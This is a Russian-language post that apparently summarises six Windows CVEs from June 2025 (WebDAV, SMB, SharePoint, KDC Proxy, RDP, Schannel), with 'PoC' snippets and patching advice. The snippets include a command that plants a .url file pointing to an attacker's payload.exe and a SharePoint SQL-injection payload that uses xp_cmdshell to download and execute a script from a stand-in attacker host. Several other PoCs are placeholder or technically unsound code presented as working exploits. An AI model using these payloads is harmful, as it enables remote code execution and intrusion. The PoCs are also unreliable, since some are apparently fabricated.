6 самых опасных CVE на 14 июня 2025 года

CVE (Common Vulnerabilities and Exposures) — это международная система идентификации уязвимостей в программном обеспечении и оборудовании. Каждой уязвимости присваивается уникальный идентификатор вида CVE-год-номер, например CVE-2025-33053


Вот вам описание шести самых опасных CVE на 14 июня 2025 года

CVE-2025-33053 – WebDAV RCE
Тип: удалённое выполнение кода (CVSS 8.8)
Уязвимость активно использовалась группой Stealth Falcon. Атака проходит через загрузку .url-файла на WebDAV-сервер. При открытии файла срабатывает вызов внешнего ресурса, что приводит к запуску произвольного кода.
PoC:

import requests
url = "http://victim/webdav/evil.url"
data = "[InternetShortcut]\nURL=file://\\attacker\payload.exe"
requests.put(url, data=data)

Рекомендации: отключить службу WebClient, фильтровать WebDAV-трафик, установить обновления, использовать EDR.

CVE-2025-33073 – SMB Client Elevation of Privilege
Тип: повышение привилегий (CVSS 8.8)
Через вредоносный SMB-сервер атакующий может получить права SYSTEM у подключающегося клиента.
PoC:

impacket-smbserver share ./payload -smb2support
# жертва подключается к \\attacker\share

Рекомендации: ограничить исходящие SMB, установить патчи, отслеживать подключения к нестандартным узлам.

CVE-2025-47172 – SharePoint Server RCE
Тип: удалённое выполнение кода (CVSS 8.8)
RCE через уязвимость в службе обработки запросов SharePoint. Возможна SQL-инъекция с последующим выполнением команд через PowerShell.
PoC:

POST /sites/_vti_bin/ListData.svc HTTP/1.1
Content-Type: application/json
{
 "query": "1; EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString(\\\"http://attacker/s.ps1\\\")';--"
}

Рекомендации: закрыть внешний доступ к SharePoint, установить обновления, ограничить права пользователей.

CVE-2025-33071 – KPSSVC RCE
Тип: удалённое выполнение кода (CVSS 8.1)
Уязвимость в Windows KDC Proxy Service. Используется для выполнения кода через специально сформированные Kerberos-прокси-запросы.
PoC (низкоуровневый, пример на C/Python):

// Сформировать и отправить Kerberos Proxy пакет с UAF
send(sockfd, crafted_kdc_payload, payload_length, 0);

Рекомендации: ограничить доступ к KPSSVC, использовать VPN для Kerberos-трафика, установить патчи.

CVE-2025-32710 – Remote Desktop Services RCE
Тип: удалённое выполнение кода (CVSS 8.1)
RDP-уязвимость, связанная с обработкой crafted пакета. Не требует аутентификации.
PoC:

packet = b'\x03\x00\x00\x13\xe0\x00\x00\x00\x00\x08\x00\x01\x02\xff\xff'
s = socket.socket()
s.connect(("target", 3389))
s.send(packet)

Рекомендации: включить NLA, закрыть RDP из внешней сети, обновить серверы.

CVE-2025-29828 – Schannel RCE
Тип: удалённое выполнение кода (CVSS 8.1)
Уязвимость в реализации TLS на стороне Windows (Schannel). Возможна эксплуатация через специально сформированные handshake-пакеты.
PoC:

from scapy.all import *
send(IP(dst="target")/TCP(dport=443)/Raw(load=b"\x16\x03\x01"+b"A"*1024))